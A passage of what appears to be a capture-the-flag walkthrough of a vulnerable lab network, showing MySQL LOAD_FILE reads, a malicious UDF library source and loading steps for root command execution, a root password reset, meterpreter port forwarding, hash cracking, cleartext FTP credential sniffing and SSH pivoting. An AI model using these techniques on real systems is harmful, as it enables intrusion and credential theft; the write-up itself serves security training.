Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> SELECT LOAD_FILE('/etc/passwd');
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| LOAD_FILE('/etc/passwd') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:102:103:MySQL Server,,,:/nonexistent:/bin/false
ftpuser:x:1000:1000::/dev/null:/etc/
|
+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.01 sec)
mysql>
Nice! So we have access to the filesystem, and from the hint in the todo list earlier, we can safely assume mysql
is running as root
. We can confirm this by retrieving the /etc/shadow
file.
mysql> SELECT LOAD_FILE('/etc/shadow');
+--------------------------+
| LOAD_FILE('/etc/shadow') |
+--------------------------+
| NULL |
+--------------------------+
1 row in set (0.09 sec)
Well, shucks..
I check the my.cnf
file.
mysql> select load_file('/etc/mysql/my.cnf');
+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| load_file('/etc/mysql/my.cnf') |
+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| #
# The MySQL database server configuration file.
#
# You can copy this to one of:
# - "/etc/mysql/my.cnf" to set global options,
# - "~/.my.cnf" to set user-specific options.
#
# One can use all long options that the program supports.
# Run program with --help to get a list of available options and with
# --print-defaults to see which it would actually understand and use.
#
# For explanations see
# http://dev.mysql.com/doc/mysql/en/server-system-variables.html
# This will be passed to all mysql clients
# It has been reported that passwords should be enclosed with ticks/quotes
# escpecially if they contain "#" chars...
# Remember to edit /etc/mysql/debian.cnf when changing the socket location.
[client]
port = 3306
socket = /var/run/mysqld/mysqld.sock
# Here is entries for some specific programs
# The following values assume you have at least 32M ram
# This was formally known as [safe_mysqld]. Both versions are currently parsed.
[mysqld_safe]
socket = /var/run/mysqld/mysqld.sock
nice = 0
[mysqld]
#
# * Basic Settings
#
user = root
pid-file = /var/run/mysqld/mysqld.pid
socket = /var/run/mysqld/mysqld.sock
port = 3306
basedir = /usr
datadir = /var/lib/mysql
tmpdir = /tmp
lc-messages-dir = /usr/share/mysql
skip-external-locking
#
# Instead of skip-networking the default is now to listen only on
# localhost which is more compatible and is not less secure.
bind-address = 192.168.2.200
#
# * Fine Tuning
#
key_buffer = 16M
max_allowed_packet = 16M
thread_stack = 192K
thread_cache_size = 8
# This replaces the startup script and checks MyISAM tables if needed
# the first time they are touched
myisam-recover = BACKUP
#max_connections = 100
#table_cache = 64
#thread_concurrency = 10
#
# * Query Cache Configuration
#
query_cache_limit = 1M
query_cache_size = 16M
#
# * Logging and Replication
#
# Both location gets rotated by the cronjob.
# Be aware that this log type is a performance killer.
# As of 5.1 you can enable the log at runtime!
#general_log_file = /var/log/mysql/mysql.log
#general_log = 1
#
# Error logging goes to syslog due to /etc/mysql/conf.d/mysqld_safe_syslog.cnf.
#
# Here you can see queries with especially long duration
#log_slow_queries = /var/log/mysql/mysql-slow.log
#long_query_time = 2
#log-queries-not-using-indexes
#
# The following can be used as easy to replay backup logs or for replication.
# note: if you are setting up a replication slave, see README.Debian about
# other settings you may need to change.
#server-id = 1
#log_bin = /var/log/mysql/mysql-bin.log
expire_logs_days = 10
max_binlog_size = 100M
#binlog_do_db = include_database_name
#binlog_ignore_db = include_database_name
#
# * InnoDB
#
# InnoDB is enabled by default with a 10MB datafile in /var/lib/mysql/.
# Read the manual for more InnoDB related options. There are many!
#
# * Security Features
#
# Read the manual, too, if you want chroot!
# chroot = /var/lib/mysql/
#
# For generating SSL certificates I recommend the OpenSSL GUI "tinyca".
#
# ssl-ca=/etc/mysql/cacert.pem
# ssl-cert=/etc/mysql/server-cert.pem
# ssl-key=/etc/mysql/server-key.pem
[mysqldump]
quick
quote-names
max_allowed_packet = 16M
[mysql]
#no-auto-rehash # faster start of mysql but no tab completition
[isamchk]
key_buffer = 16M
#
# * IMPORTANT: Additional settings that can override those from this file!
# The files must end with '.cnf', otherwise they'll be ignored.
#
!includedir /etc/mysql/conf.d/
|
+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.03 sec)
Looks like mysql
is configured to run as root
, so let's just assume we can't read /etc/shadow
for reasons.
MySQL to root
I happen to know that if you have a target that's running mysql
as the root
user, and you have sufficient privileges on the target mysql
instance, you can elevate to command execution by compiling and loading a malicious library.
First of all, we prepare our malicious library, the source of which is below.
#include <stdio.h>
#include <stdlib.h>
enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
typedef struct st_udf_args {
unsigned int arg_count; // number of arguments
enum Item_result *arg_type; // pointer to item_result
char **args; // pointer to arguments
unsigned long *lengths; // length of string args
char *maybe_null; // 1 for maybe_null args
} UDF_ARGS;
typedef struct st_udf_init {
char maybe_null; // 1 if func can return NULL
unsigned int decimals; // for real functions
unsigned long max_length; // for string functions
char *ptr; // free ptr for func data
char const_item; // 0 if result is constant
} UDF_INIT;
int do_cmd(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
if (args->arg_count != 1)
return(0);
system(args->args[0]);
return(0);
}
char do_cmd_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
return(0);
}
Next we compile the library.
root@kali:~# gcc -fPIC -g -c raptor.c
root@kali:~# gcc -g -shared -Wl,-soname,raptor.so -o raptor.so raptor.o -lc
I then encoded the contents of the file raptor.so
as hex, using the following command.
root@kali:~# xxd -p -c `stat --format="%s" raptor.so` raptor.so
Then I saved it to disk on the target mysql
server using the following command.
mysql> SELECT x'<output of above command>' INTO DUMPFILE '/usr/lib/mysql/plugin/raptor.so'
Aftewards I created a new function with the newly created library.
mysql> create function do_cmd returns integer soname "raptor.so";
Query OK, 0 rows affected (0.00 sec)
When I try to execute a command, it appears to succeed.
mysql> select do_cmd('ping 192.168.110.102');
+--------------------------------+
| do_cmd('ping 192.168.110.102') |
+--------------------------------+
| 0 |
+--------------------------------+
1 row in set (0.01 sec)
So, we have no output from this, but what else could we do? Let's see if ssh
is running on the target.
In metasploit, I setup another port forwarding for port 22
.
meterpreter > portfwd add -l 22 -p 22 -r 192.168.2.200
[*] Local TCP relay created: :22 <-> 192.168.2.200:22
Then I try and ssh
to localhost.
root@kali:~# ssh localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:YoLWnzvXH0HgZlnEQmCvWYQrHDHrtB0BJdyM2gzMlzs.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
root@localhost's password:
Great - let's reset the password for the root
user.
mysql> select do_cmd("echo 'root:root'|chpasswd");
+-------------------------------------+
| do_cmd("echo 'root:root'|chpasswd") |
+-------------------------------------+
| 0 |
+-------------------------------------+
1 row in set (0.02 sec)
..and then try to login.
root@kali:~# ssh -i .ssh/id_dsa.pub localhost
root@localhost's password:
Linux db 3.2.0-4-amd64 #1 SMP Debian 3.2.60-1+deb7u3 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Sep 27 21:23:54 2014
root@db:~#
Awesome!
root?
So what do we have here?
root@db:~# ls -lah
total 36K
drwx------ 4 root root 4.0K Sep 27 2014 .
drwxr-xr-x 22 root root 4.0K Aug 9 2014 ..
drwx------ 2 root root 4.0K Aug 9 2014 .aptitude
-rw------- 1 root root 10 Sep 22 20:06 .bash_history
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
-rw-r--r-- 1 root root 46 Sep 27 2014 flag
-rw------- 1 root root 0 Sep 4 2014 .mysql_history
-rw------- 1 root root 0 Sep 27 2014 .nano_history
-rw-r--r-- 1 root root 140 Nov 19 2007 .profile
drwxr-xr-x 2 root root 4.0K Sep 22 16:49 .ssh
-rw------- 1 root root 0 Sep 27 2014 .viminfo
-rw-r--r-- 1 root root 1.1K Aug 10 2014 .words.txt
root@db:~# cat flag
This is not the flag you're looking for... :p
Yay - a troll! I check out the .ssh
directory, and we have an ssh
key available to us.
-rw------- 1 root root 1.7K Sep 1 2014 id_rsa
-rw-r--r-- 1 root root 389 Sep 1 2014 id_rsa.pub
This might come in handy later. Do we have any other services running locally?
root@db:~# netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 192.168.2.200:3306 0.0.0.0:* LISTEN 1761/mysqld
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN 1861/pure-ftpd (SER
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1395/sshd
tcp6 0 0 :::21 :::* LISTEN 1861/pure-ftpd (SER
tcp6 0 0 :::22 :::* LISTEN 1395/sshd
udp 0 0 0.0.0.0:35306 0.0.0.0:* 1242/dhclient
udp 0 0 0.0.0.0:68 0.0.0.0:* 1242/dhclient
udp6 0 0 :::24911 :::* 1242/dhclient
We have an instance of pure-ftpd
running. I proceed to check out the pureftp.passwd
file.
root@db:~# cat /etc/pure-ftpd/pureftpd.passwd
celes:$1$LwZNkFH0$8rq4AbiYLXkfSMPXB1psV/:1000:1000::/var/log/./::::::::::::
We've got a new user for our list - celes
. I check the pure-ftpd
log, but there is no activity listed.
Looking back, I notice that there's a file named .words.txt
in the home folder for root
. This looks like a wordlist - maybe we need to use this in order to crack the above hash?
I pull down the wordlist and test it with john
against the above hash.
root@kali:~# john --wordlist=kvasir-list kvasir-celes
Warning: detected hash type "md5crypt", but the string is also recognized as "aix-smd5"
Use the "--format=aix-smd5" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2016-09-22 15:39) 0g/s 2020p/s 2020c/s 2020C/s g0tmi1k
Session completed
No dice - what about if we let john
mutate the wordlist?
root@kali:~# john --rules --wordlist=kvasir-list kvasir-celes
Warning: detected hash type "md5crypt", but the string is also recognized as "aix-smd5"
Use the "--format=aix-smd5" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 128/128 AVX 4x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2016-09-22 15:41) 0g/s 22642p/s 22642c/s 22642C/s Propagablenessi..Prearresting
Session completed
Still nothing. I fire john
off with its default ruleset, and go sniffing around the newly found 192.168.3
network.
I run the arp
command, and get another IP address to investigate - 192.168.3.40
.
root@db:~# arp
Address HWtype HWaddress Flags Mask Iface
192.168.2.100 ether 42:07:57:a3:20:f3 C eth0
192.168.3.40 ether 6e:a1:91:a8:ce:0d C eth1
We sure as hell haven't communicated with this host, so let's listen on eth1
and see if we can intercept any interesting traffic.
root@db:~# tcpdump -i eth1
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
20:53:01.549356 IP 192.168.3.40.53383 > 192.168.3.200.ftp: Flags [S], seq 4142269960, win 14600, options [mss 1460,sackOK,TS val 1776506 ecr 0,nop,wscale 5], length 0
20:53:01.549374 IP 192.168.3.200.ftp > 192.168.3.40.53383: Flags [S.], seq 886971446, ack 4142269961, win 14480, options [mss 1460,sackOK,TS val 1776506 ecr 1776506,nop,wscale 5], length 0
20:53:01.549388 IP 192.168.3.40.53383 > 192.168.3.200.ftp: Flags [.], ack 1, win 457, options [nop,nop,TS val 1776506 ecr 1776506], length 0
20:53:01.551320 IP 192.168.3.200.ftp > 192.168.3.40.53383: Flags [P.], seq 1:321, ack 1, win 453, options [nop,nop,TS val 1776507 ecr 1776506], length 320
20:53:01.552656 IP 192.168.3.40.53383 > 192.168.3.200.ftp: Flags [.], ack 321, win 490, options [nop,nop,TS val 1776507 ecr 1776507], length 0
20:53:01.553548 IP 192.168.3.40.53383 > 192.168.3.200.ftp: Flags [P.], seq 1:13, ack 321, win 490, options [nop,nop,TS val 1776507 ecr 1776507], length 12
20:53:01.553554 IP 192.168.3.200.ftp > 192.168.3.40.53383: Flags [.], ack 13, win 453, options [nop,nop,TS val 1776507 ecr 1776507], length 0
20:53:01.553729 IP 192.168.3.200.ftp > 192.168.3.40.53383: Flags [P.], seq 321:359, ack 13, win 453, options [nop,nop,TS val 1776507 ecr 1776507], length 38
20:53:01.554179 IP 192.168.3.40.53383 > 192.168.3.200.ftp: Flags [P.], seq 13:32, ack 359, win 490, options [nop,nop,TS val 1776507 ecr 1776507], length 19
20:53:01.559893 IP 192.168.3.200.ftp > 192.168.3.40.53383: Flags [P.], seq 359:391, ack 32, win 453, options [nop,nop,TS val 1776509 ecr 1776507], length 32
20:53:01.560930 IP 192.168.3.40.53383 > 192.168.3.200.ftp: Flags [P.], seq 32:40, ack 391, win 490, options [nop,nop,TS val 1776509 ecr 1776509], length 8
20:53:01.561138 IP 192.168.3.200.ftp > 192.168.3.40.53383: Flags [P.], seq 391:414, ack 40, win 453, options [nop,nop,TS val 1776509 ecr 1776509], length 23
20:53:01.561201 IP 192.168.3.40.53383 > 192.168.3.200.ftp: Flags [P.], seq 40:46, ack 414, win 490, options [nop,nop,TS val 1776509 ecr 1776509], length 6
20:53:01.561350 IP 192.168.3.200.ftp > 192.168.3.40.53383: Flags [P.], seq 414:463, ack 46, win 453, options [nop,nop,TS val 1776509 ecr 1776509], length 49
20:53:01.561859 IP 192.168.3.40.43799 > 192.168.3.200.17478: Flags [S], seq 3619736692, win 14600, options [mss 1460,sackOK,TS val 1776509 ecr 0,nop,wscale 5], length 0
20:53:01.561870 IP 192.168.3.200.17478 > 192.168.3.40.43799: Flags [S.], seq 2606999741, ack 3619736693, win 14480, options [mss 1460,sackOK,TS val 1776509 ecr 1776509,nop,wscale 5], length 0
20:53:01.561884 IP 192.168.3.40.43799 > 192.168.3.200.17478: Flags [.], ack 1, win 457, options [nop,nop,TS val 1776509 ecr 1776509], length 0
20:53:01.562780 IP 192.168.3.40.53383 > 192.168.3.200.ftp: Flags [P.], seq 46:52, ack 463, win 490, options [nop,nop,TS val 1776510 ecr 1776509], length 6
20:53:01.563529 IP 192.168.3.200.ftp > 192.168.3.40.53383: Flags [P.], seq 463:493, ack 52, win 453, options [nop,nop,TS val 1776510 ecr 1776510], length 30
20:53:01.563994 IP 192.168.3.200.17478 > 192.168.3.40.43799: Flags [P.], seq 1:1367, ack 1, win 453, options [nop,nop,TS val 1776510 ecr 1776509], length 1366
20:53:01.564033 IP 192.168.3.40.43799 > 192.168.3.200.17478: Flags [.], ack 1367, win 542, options [nop,nop,TS val 1776510 ecr 1776510], length 0
20:53:01.564201 IP 192.168.3.200.17478 > 192.168.3.40.43799: Flags [F.], seq 1367, ack 1, win 453, options [nop,nop,TS val 1776510 ecr 1776510], length 0
20:53:01.564248 IP 192.168.3.40.43799 > 192.168.3.200.17478: Flags [F.], seq 1, ack 1368, win 542, options [nop,nop,TS val 1776510 ecr 1776510], length 0
20:53:01.564253 IP 192.168.3.200.17478 > 192.168.3.40.43799: Flags [.], ack 2, win 453, options [nop,nop,TS val 1776510 ecr 1776510], length 0
20:53:01.565074 IP 192.168.3.200.ftp > 192.168.3.40.53383: Flags [P.], seq 493:533, ack 52, win 453, options [nop,nop,TS val 1776510 ecr 1776510], length 40
20:53:01.565110 IP 192.168.3.40.53383 > 192.168.3.200.ftp: Flags [.], ack 533, win 490, options [nop,nop,TS val 1776510 ecr 1776510], length 0
20:53:01.565161 IP 192.168.3.40.53383 > 192.168.3.200.ftp: Flags [F.], seq 52, ack 533, win 490, options [nop,nop,TS val 1776510 ecr 1776510], length 0
20:53:01.567475 IP 192.168.3.200.ftp > 192.168.3.40.53383: Flags [P.], seq 533:546, ack 53, win 453, options [nop,nop,TS val 1776511 ecr 1776510], length 13
20:53:01.567492 IP 192.168.3.40.53383 > 192.168.3.200.ftp: Flags [R], seq 4142270013, win 0, length 0
Well well well, looks like someone is connecting to our ftp
server. I re-run tcpdump
with the -XX
option to gain some insight in to what is happening.
Shortly afterwards, we see a login attempt, complete with username and password in cleartext.
20:55:01.562463 IP 192.168.3.40.53387 > 192.168.3.200.ftp: Flags [P.], seq 1:13, ack 321, win 490, options [nop,nop,TS val 1806509 ecr 1806508], length 12
0x0000: d226 bf04 1b07 6ea1 91a8 ce0d 0800 4500 .&....n.......E.
0x0010: 0040 6f9e 4000 4006 42d9 c0a8 0328 c0a8 .@o.@.@.B....(..
0x0020: 03c8 d08b 0015 cc82 ff38 6ba1 21b7 8018 .........8k.!...
0x0030: 01ea 0e47 0000 0101 080a 001b 90ad 001b ...G............
0x0040: 90ac 5553 4552 2063 656c 6573 0d0a ..USER.celes..
20:55:01.562470 IP 192.168.3.200.ftp > 192.168.3.40.53387: Flags [.], ack 13, win 453, options [nop,nop,TS val 1806509 ecr 1806509], length 0
0x0000: 6ea1 91a8 ce0d d226 bf04 1b07 0800 4510 n......&......E.
0x0010: 0034 b0dc 4000 4006 0197 c0a8 03c8 c0a8 .4..@.@.........
0x0020: 0328 0015 d08b 6ba1 21b7 cc82 ff44 8010 .(....k.!....D..
0x0030: 01c5 8867 0000 0101 080a 001b 90ad 001b ...g............
0x0040: 90ad ..
20:55:01.562737 IP 192.168.3.200.ftp > 192.168.3.40.53387: Flags [P.], seq 321:359, ack 13, win 453, options [nop,nop,TS val 1806509 ecr 1806509], length 38
0x0000: 6ea1 91a8 ce0d d226 bf04 1b07 0800 4510 n......&......E.
0x0010: 005a b0dd 4000 4006 0170 c0a8 03c8 c0a8 .Z..@.@..p......
0x0020: 0328 0015 d08b 6ba1 21b7 cc82 ff44 8018 .(....k.!....D..
0x0030: 01c5 a2b4 0000 0101 080a 001b 90ad 001b ................
0x0040: 90ad 3333 3120 5573 6572 2063 656c 6573 ..331.User.celes
0x0050: 204f 4b2e 2050 6173 7377 6f72 6420 7265 .OK..Password.re
0x0060: 7175 6972 6564 0d0a quired..
20:55:01.562885 IP 192.168.3.40.53387 > 192.168.3.200.ftp: Flags [P.], seq 13:32, ack 359, win 490, options [nop,nop,TS val 1806509 ecr 1806509], length 19
0x0000: d226 bf04 1b07 6ea1 91a8 ce0d 0800 4500 .&....n.......E.
0x0010: 0047 6f9f 4000 4006 42d1 c0a8 0328 c0a8 .Go.@.@.B....(..
0x0020: 03c8 d08b 0015 cc82 ff44 6ba1 21dd 8018 .........Dk.!...
0x0030: 01ea 05c3 0000 0101 080a 001b 90ad 001b ................
0x0040: 90ad 5041 5353 2069 6d32 3242 4634 4858 ..PASS.im22BF4HX
0x0050: 6e30 310d 0a n01..
So they're logging in with the username of celes
, and the password of im22BF4HXn01
. I'm glad I didn't spend too long trying to crack it. I'd never of finished.
Hello Celes
Immediately, I try to connect to 192.168.3.40
via ssh
with the credentials we've sniffed.
root@db:~# ssh celes@192.168.3.40
The authenticity of host '192.168.3.40 (192.168.3.40)' can't be established.
ECDSA key fingerprint is 28:a1:7b:9c:cb:bc:aa:23:02:e1:e8:29:a0:c0:31:b8.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.3.40' (ECDSA) to the list of known hosts.
celes@192.168.3.40's password:
Linux dev1 3.2.0-4-amd64 #1 SMP Debian 3.2.60-1+deb7u3 x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have mail.
Last login: Thu Sep 4 09:20:00 2014
celes@dev1:~$
Beautiful! I quickly check to see if we have any sudo
access, but no such luck. No keys this time, and no flag, but we do have the script which is executed by celes's
crontab to connect to our ftp
server.
celes@dev1:~$ cat getLogs.py
#!/usr/bin/env python
## Under development ##
from ftplib import FTP
import time
ftp = FTP('192.168.3.200')
ftp.login('celes', 'im22BF4HXn01')
print ftp.dir()
ftp.close()
We also have a curious entry in the .bash_history
file.
celes@dev1:~$ cat .bash_history
stepic --help
After a quick Google for the word stepic
, it turns out that it is a Steganography package for Python. I hop back to my testing machine, but stepic
is not available, however it is available through Aptitude, in a package aptly named python-stepic
. I also note that there's an image named kvasir.png
in the home directory of celes
.
I check ifconfig
- only one network adapter, so this may be the last pivot in the network. The arp
cache is also clear.
celes@dev1:~$ /sbin/ifconfig
eth0 Link encap:Ethernet HWaddr 6e:a1:91:a8:ce:0d
inet addr:192.168.3.40 Bcast:192.168.3.255 Mask:255.255.255.0
inet6 addr: fe80::6ca1:91ff:fea8:ce0d/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2723 errors:0 dropped:0 overruns:0 frame:0
TX packets:2594 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:484260 (472.9 KiB) TX bytes:236614 (231.0 KiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
celes@dev1:~$ /usr/sbin/arp
Address HWtype HWaddress Flags Mask Iface
192.168.3.200 ether d2:26:bf:04:1b:07 C eth0
I create a directory in /var/log
named tmp
and chmod
it to 777
. I then ftp
from 192.168.3.40
to 192.168.3.200
and transfer kvasir.png
. I then sftp
in to 192.168.2.200
(localhost - thanks portfwd
) and download the image to my testing machine.
Using stepic
, we can retrieve some hidden data from the image kvasir.png
.
root@kali:~# stepic -i kvasir.png -d
89504e470d0a1a0a0000000d494844520000012200000122010300000067704df500000006504c5445ffffff00000055c2d37e00000104494441540899ed98c90dc32010459152804b72eb2ec9054422304bc089655f180ec9fb0730f07cfa9a0552420821f43fcaa6674aeb5e96dbe23b1b5434a58be559bf1e59befa03a848aa5ab22de690f2d530a8895473086a365500e7a1265132b5b3bbfc05358e7a57640b919bba0d358eeab55c9c418da7cc0df1a576a2792fa561ad035434a5920b808588d974e215d4584acff4065626ffe9db47a8e194eec805a00d7621830aa6acffd40c95d5a6fa27d404cae555e13475410550e6cca113ed72145424a56ee8ab4f8989ecb5196a02d5bdfa2477e83333410553d97ba093cc04154c89a439ba880ea881944c2d3aea0a6a0e75acc8528c4550e1144208a15fd70b88df9bb4ae0a3dc20000000049454e44ae426082
Looks like we've got a hex encoded string. We can decode this in to a file with xxd
.
root@kali:~# echo 89504e470d0a1a0a0000000d494844520000012200000122010300000067704df500000006504c5445ffffff00000055c2d37e00000104494441540899ed98c90dc32010459152804b72eb2ec9054422304bc089655f180ec9fb0730f07cfa9a0552420821f43fcaa6674aeb5e96dbe23b1b5434a58be559bf1e59befa03a848aa5ab22de690f2d530a8895473086a365500e7a1265132b5b3bbfc05358e7a57640b919bba0d358eeab55c9c418da7cc0df1a576a2792fa561ad035434a5920b808588d974e215d4584acff4065626ffe9db47a8e194eec805a00d7621830aa6acffd40c95d5a6fa27d404cae555e13475410550e6cca113ed72145424a56ee8ab4f8989ecb5196a02d5bdfa2477e83333410553d97ba093cc04154c89a439ba880ea881944c2d3aea0a6a0e75acc8528c4550e1144208a15fd70b88df9bb4ae0a3dc20000000049454e44ae426082 | xxd -r -p > kvasir.png.decoded
root@kali:~# file kvasir.png.decoded
kvasir.png.decoded: PNG image data, 290 x 290, 1-bit colormap, non-interlaced
So we've got another image file. Opening in the default viewer in kali
results in an error, and gimp
only shows part of the image, but strangely enough Chrome
displays the image correctly. We've got a QR code!
This decodes to the string Nk9yY31hva8q
. Looks like a password to me, but a password to what?
When we logged on to celes
, we were notified that we had mail. I check out the spool for celes
.
celes@dev1:~$ cat /var/spool/mail/celes
Return-path: <celes@localhost>
Received: from celes by localhost with local (Exim 4.80)
(envelope-from <celes@localhost>)
id 1XHczw-0000V2-8y
for celes@127.0.0.1; Wed, 13 Aug 2014 19:10:08 +0100
Date: Wed, 13 Aug 2014 19:10:08 +0100
To: celes@127.0.0.1
Subject: Reminder
User-Agent: Heirloom mailx 12.5 6/20/10
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <E1XHczw-0000V2-8y@localhost>
From: celes@localhost
Terra sent me kvasir.png and challenged me to solve the stupid little puzzle she has running on her machine... *sigh*
This hints towards another machine. I try to discover other hosts on the 192.168.3.0/24
network via my meterpreter
session, but fail, so I turn to a little bash
script.
root@db:~# for ip in $(seq 1 254); do
> ping -c 1 192.168.3.$ip | grep "bytes from" | cut -d " " -f 4 | cut -d ":" -f 1 &
> done
[1] 2638
